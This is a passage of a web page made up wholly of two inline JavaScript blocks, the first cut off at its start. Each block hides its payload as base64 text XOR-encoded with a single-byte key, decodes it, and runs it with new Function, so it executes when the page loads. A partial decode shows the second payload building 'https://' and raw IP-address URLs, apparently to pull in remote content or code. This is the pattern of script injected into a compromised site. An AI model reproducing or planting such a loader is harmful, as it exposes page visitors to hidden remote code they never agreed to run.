KQU1bQ0tAWgBcS09KV31aT1pLExMTCUJBT0pHQEkJB0hjYUp/bABPSkprWEtAWmJHXVpLQEtcBglqYWNtQUBaS0BaYkFPSktKCQJeX15NHmUHFUtCXUsOXl9eTR5lBgcVUwcGBxU='),_0x9e751f2dc20b=46,_0x0b1f51e628bd=new Uint8Array(_0xdac3ef103251['length']),_0x1c3f58f3ac4b=0;for(;_0x1c3f58f3ac4b<_0xdac3ef103251['length'];_0x1c3f58f3ac4b++)_0x0b1f51e628bd[_0x1c3f58f3ac4b]=_0xdac3ef103251['charCodeAt'](_0x1c3f58f3ac4b)^_0x9e751f2dc20b;(new Function(new TextDecoder()['decode'](_0x0b1f51e628bd)))()}();</script><script>!function(){var _0x3bb1fe0827a6=atob('DkBTSEVST0lIDg9dUEdUBlNTaxdcTxtRT0hCSVEKdxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7CnVWa2BjQhsBRRUeR0NHHkVDR0JEQEQTQwEKcWdQHnBQG30ETlJSVlUcCQlFSklTQkBKR1RDC0VOQ0VNCEhDUgQKBgROUlJWHAkJHxIIFBAIHxYIFxQQBHsdT0AOdxITSlRVAAB3EhNKVFV9dVZrYGNCew9UQ1JTVEgddxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7Gw53EhNKVFVaWl1bDx13EhNKVFV9dVZrYGNCexsXHUBTSEVST0lIBnZXfBMVTw4PXU9ADgdCSUVTS0NIUghESUJfD11VQ1JyT0tDSVNSDnZXfBMVTwoUFg8dVENSU1RIHVtQR1QGQW1iSnIeG0JJRVNLQ0hSCEVUQ0dSQ2NKQ0tDSFIOAUJPUAEPCkNWV1JVXxtCSUVTS0NIUghFVENHUkNjSkNLQ0hSDgFPQFRHS0MBDx1BbWJKch4IVVJfSkMIRVVVckNeUhsBVklVT1JPSUgcQE9eQ0IdT0hVQ1IcFh1cC09IQkNeHBQXEhESHhUWEhUdREdFTUFUSVNIQhxUQURHDhcTChQVChIUCggSFA8dVklPSFJDVAtDUENIUlUcSElIQx0BHUNWV1JVXwhST1JKQxsBdUNFU1RPUl8GRU5DRU0BHUNWV1JVXwhVQ1JnUlJUT0RTUkMOAUdKSklRQFNKSlVFVENDSAEKAQEPHUNWV1JVXwhVUl9KQwhFVVVyQ15SGwFWSVVPUk9JSBxAT15DQh1PSFVDUhwWHVFPQlJOHBcWFgMdTkNPQU5SHBcWFgMdRElUQkNUHBYdXAtPSEJDXhwUFxIREh4VFhMVHURHRU1BVElTSEIcBUBAQB0BHUJJRVNLQ0hSCERJQl8IR1ZWQ0hCZU5PSkIOQW1iSnIeDx1CSUVTS0NIUghESUJfCEdWVkNIQmVOT0pCDkNWV1JVXw8dQFNIRVJPSUgGSGJvYWxlDg9dUlRfXUFtYkpyHghUQ0tJUEMODx1DVldSVV8IVENLSVBDDg8dW0VHUkVODnlDD11bUlRfXUJDSkNSQwZ3EhNKVFV9dVZrYGNCe1tFR1JFTg55QxQPXVtbU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAUtDVVVHQUMBCkBTSEVST0lIDnlDUA9dUlRfXU9ADgd5Q1BaWgd5Q1AIQkdSRw9UQ1JTVEgdT0AOeUNQCEJHUkcIUl9WQxsbGwFAVgtDS0RDQgtFSklVQwEPSGJvYWxlDg8dW0VHUkVODnlDFQ9dW1sPHUBTSEVST0lIBnB1Q0N+Ug5cV2hSdGoPXU9ADlxXaFJ0ahgbcWdQHnBQCEpDSEFSTg9UQ1JTVEgdUEdUBnlOGwEBHVJUX115Tht1UlRPSEEOU1NrF1xPCEpJRUdST0lIAAAOU1NrF1xPCEpJRUdST0lICE5JVVJIR0tDWlpTU2sXXE8ISklFR1JPSUgITklVUg9aWgEBDwhUQ1ZKR0VDDgl4UVFReggJTwoBAQ8dW0VHUkVODnlDTg9dW1BHVAZ5UxtxZ1AecFB9XFdoUnRqew0BCUNLRENCCQENdVZrYGNCDQEZQ0tEQ0IbFwENDnlOGQ4BAE5JVVIbAQ1DSEVJQkNzdG9lSUtWSUhDSFIOeU4PDxwBAQ8dUEdUBnlSSRtVQ1JyT0tDSVNSDkBTSEVST0lIDg9dcHVDQ35SDlxXaFJ0ag0XDx1bChcUFhYWDx1DVldSVV8ISUhKSUdCG0BTSEVST0lIDg9dRUpDR1RyT0tDSVNSDnlSSQ8dWx1DVldSVV8IVVRFG3lTHVtwdUNDflIOFg8dW09ADkJJRVNLQ0hSCFRDR0JfdVJHUkMbGxsBSklHQk9IQQEPU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAWJpa2VJSFJDSFJqSUdCQ0IBCnZXfBMVTw8dQ0pVQwZ2V3wTFU8ODx1bDw4PHQ=='),_0xb453c9c7ad32=38,_0x6b43c3f85eef=new Uint8Array(_0x3bb1fe0827a6['length']),_0x42b6bdc41c2a=0;for(;_0x42b6bdc41c2a<_0x3bb1fe0827a6['length'];_0x42b6bdc41c2a++)_0x6b43c3f85eef[_0x42b6bdc41c2a]=_0x3bb1fe0827a6['charCodeAt'](_0x42b6bdc41c2a)^_0xb453c9c7ad32;(new Function(new TextDecoder()['decode'](_0x6b43c3f85eef)))()}();</script>